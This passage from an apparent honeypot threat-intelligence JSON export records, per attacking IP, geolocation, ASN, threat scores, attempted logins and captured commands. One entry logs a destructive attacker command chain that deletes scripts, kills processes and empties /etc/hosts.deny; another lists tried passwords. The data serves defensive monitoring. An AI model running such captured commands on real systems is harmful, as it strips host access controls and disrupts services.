        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chernihiv",
      "asn": 34814,
      "as_org": "Osnova-Internet LLC",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:56:39.817000+00:00",
        "last_seen_30d": "2026-05-25T03:08:34.383000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 22
      }
    },
    "171.114.208.131": {
      "attack_count": 82,
      "first_seen": "2026-05-19T18:23:07.747Z",
      "last_seen": "2026-05-19T22:57:48.204Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:23:07.747000+00:00",
        "last_seen_30d": "2026-05-19T22:58:53.224000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 41
      }
    },
    "34.79.193.16": {
      "attack_count": 73,
      "first_seen": "2026-05-31T03:54:15.638Z",
      "last_seen": "2026-05-31T03:54:54.010Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6990",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T03:54:15.638000+00:00",
        "last_seen_30d": "2026-05-31T03:56:02.956000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "185.241.149.165": {
      "attack_count": 60,
      "first_seen": "2026-05-09T17:52:46.512Z",
      "last_seen": "2026-05-19T00:23:19.191Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 397423,
      "as_org": "Tier.Net Technologies LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:52:46.512000+00:00",
        "last_seen_30d": "2026-05-19T00:24:21.201000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "45.187.69.108": {
      "attack_count": 56,
      "first_seen": "2026-05-14T02:50:28.126Z",
      "last_seen": "2026-05-14T03:13:43.953Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Peritor\u00f3",
      "asn": 269461,
      "as_org": "Xfiber Internet",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:50:28.126000+00:00",
        "last_seen_30d": "2026-05-14T03:23:46.394000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 31
      }
    },
    "162.144.84.221": {
      "attack_count": 54,
      "first_seen": "2026-05-08T05:04:37.158Z",
      "last_seen": "2026-05-31T23:07:54.945Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:04:37.158000+00:00",
        "last_seen_30d": "2026-05-31T23:08:58.588000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "177.55.182.53": {
      "attack_count": 52,
      "first_seen": "2026-05-11T16:05:34.840Z",
      "last_seen": "2026-05-11T16:31:17.355Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pedro Leopoldo",
      "asn": 262514,
      "as_org": "BTT TELECOMUNICACOES S.A.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:05:34.840000+00:00",
        "last_seen_30d": "2026-05-11T16:32:29.500000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 33
      }
    },
    "124.29.194.85": {
      "attack_count": 50,
      "first_seen": "2026-05-03T02:01:09.444Z",
      "last_seen": "2026-05-03T02:06:33.871Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:01:09.444000+00:00",
        "last_seen_30d": "2026-05-03T02:07:42.690000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "203.128.20.208": {
      "attack_count": 50,
      "first_seen": "2026-05-20T04:38:52.069Z",
      "last_seen": "2026-05-20T04:44:18.495Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Khanpur",
      "asn": 134489,
      "as_org": "S. B Link Network",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:38:52.069000+00:00",
        "last_seen_30d": "2026-05-20T04:45:19.841000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.171.51": {
      "attack_count": 50,
      "first_seen": "2026-05-29T09:13:58.374Z",
      "last_seen": "2026-05-29T09:19:44.919Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T09:13:58.374000+00:00",
        "last_seen_30d": "2026-05-29T09:21:18.939000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.3.43": {
      "attack_count": 48,
      "first_seen": "2026-05-31T22:36:02.697Z",
      "last_seen": "2026-05-31T22:41:14.075Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T22:36:02.697000+00:00",
        "last_seen_30d": "2026-05-31T22:42:21.157000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "49.64.216.94": {
      "attack_count": 46,
      "first_seen": "2026-05-19T23:01:41.589Z",
      "last_seen": "2026-05-20T01:52:02.266Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:01:41.589000+00:00",
        "last_seen_30d": "2026-05-20T01:53:08.009000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 23
      }
    },
    "122.194.13.164": {
      "attack_count": 26,
      "first_seen": "2026-05-11T16:16:51.603Z",
      "last_seen": "2026-05-11T16:21:40.358Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:16:51.603000+00:00",
        "last_seen_30d": "2026-05-11T16:22:48.263000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "176.235.182.115": {
      "attack_count": 24,
      "first_seen": "2026-05-12T12:10:33.798Z",
      "last_seen": "2026-05-12T12:22:44.662Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Gaziantep",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T12:10:33.798000+00:00",
        "last_seen_30d": "2026-05-12T12:23:45.971000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "116.207.109.22": {
      "attack_count": 20,
      "first_seen": "2026-05-19T07:01:09.421Z",
      "last_seen": "2026-05-19T07:36:41.870Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:01:09.421000+00:00",
        "last_seen_30d": "2026-05-19T07:37:46.831000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "185.134.49.3": {
      "attack_count": 18,
      "first_seen": "2026-05-03T15:39:56.538Z",
      "last_seen": "2026-05-15T01:11:53.961Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:39:56.538000+00:00",
        "last_seen_30d": "2026-05-15T01:13:03.629000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "46.175.144.177": {
      "attack_count": 18,
      "first_seen": "2026-05-08T14:31:17.228Z",
      "last_seen": "2026-05-11T11:37:05.438Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:31:17.228000+00:00",
        "last_seen_30d": "2026-05-11T11:38:07.543000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "105.184.118.248": {
      "attack_count": 16,
      "first_seen": "2026-05-16T03:25:32.679Z",
      "last_seen": "2026-05-16T03:35:51.487Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Port Elizabeth",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:25:32.679000+00:00",
        "last_seen_30d": "2026-05-16T03:37:00.668000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "201.231.65.205": {
      "attack_count": 16,
      "first_seen": "2026-05-11T17:41:55.096Z",
      "last_seen": "2026-05-11T17:52:27.970Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "C\u00f3rdoba",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:41:55.096000+00:00",
        "last_seen_30d": "2026-05-11T17:54:17.390000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 16
      }
    },
    "107.150.101.5": {
      "attack_count": 14,
      "first_seen": "2026-05-15T21:19:06.480Z",
      "last_seen": "2026-05-15T21:19:10.015Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0"
      ],
      "passwords_attempted": [
        "Accept-Charset: utf-8",
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.3,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T09:06:16+00:00",
        "last_seen_30d": "2026-05-15T21:20:22.090000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 14,
        "Honeytrap": 10
      }
    },
    "111.70.1.128": {
      "attack_count": 14,
      "first_seen": "2026-05-07T02:14:59.862Z",
      "last_seen": "2026-05-31T17:25:58.751Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Beitun",
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T02:14:59.862000+00:00",
        "last_seen_30d": "2026-05-31T17:36:28.702000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 13,
        "Honeytrap": 2
      }
    },
    "195.88.211.165": {
      "attack_count": 13,
      "first_seen": "2026-05-24T13:29:05.247Z",
      "last_seen": "2026-05-24T14:06:46.552Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech!2026",
        "Password123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 214882,
      "as_org": "Hadi Santosa",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:29:05.247000+00:00",
        "last_seen_30d": "2026-05-24T14:07:54.826000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 8
      }
    },
    "175.107.211.156": {
      "attack_count": 12,
      "first_seen": "2026-05-29T21:34:32.656Z",
      "last_seen": "2026-05-29T21:38:14.879Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:34:32.656000+00:00",
        "last_seen_30d": "2026-05-29T21:39:15.891000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "47.250.127.36": {
      "attack_count": 10,
      "first_seen": "2026-05-25T05:16:58.117Z",
      "last_seen": "2026-05-25T05:17:37.797Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T01:05:21+00:00",
        "last_seen_30d": "2026-05-25T05:18:43.546000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 10,
        "Honeytrap": 6
      }
    },
    "205.210.31.165": {
      "attack_count": 8,
      "first_seen": "2026-05-05T16:49:24.209Z",
      "last_seen": "2026-05-22T10:27:24.155Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 30,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T06:50:42+00:00",
        "last_seen_30d": "2026-05-31T01:44:47.986000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 14,
        "Cowrie": 8,
        "Dionaea": 2
      }
    },
    "149.104.31.12": {
      "attack_count": 6,
      "first_seen": "2026-05-14T08:42:29.038Z",
      "last_seen": "2026-05-14T08:42:37.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 139659,
      "as_org": "LUCIDACLOUD LIMITED",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:42:29.038000+00:00",
        "last_seen_30d": "2026-05-14T08:43:46.825000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "186.226.56.200": {
      "attack_count": 6,
      "first_seen": "2026-05-14T05:17:18.690Z",
      "last_seen": "2026-05-14T05:17:25.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
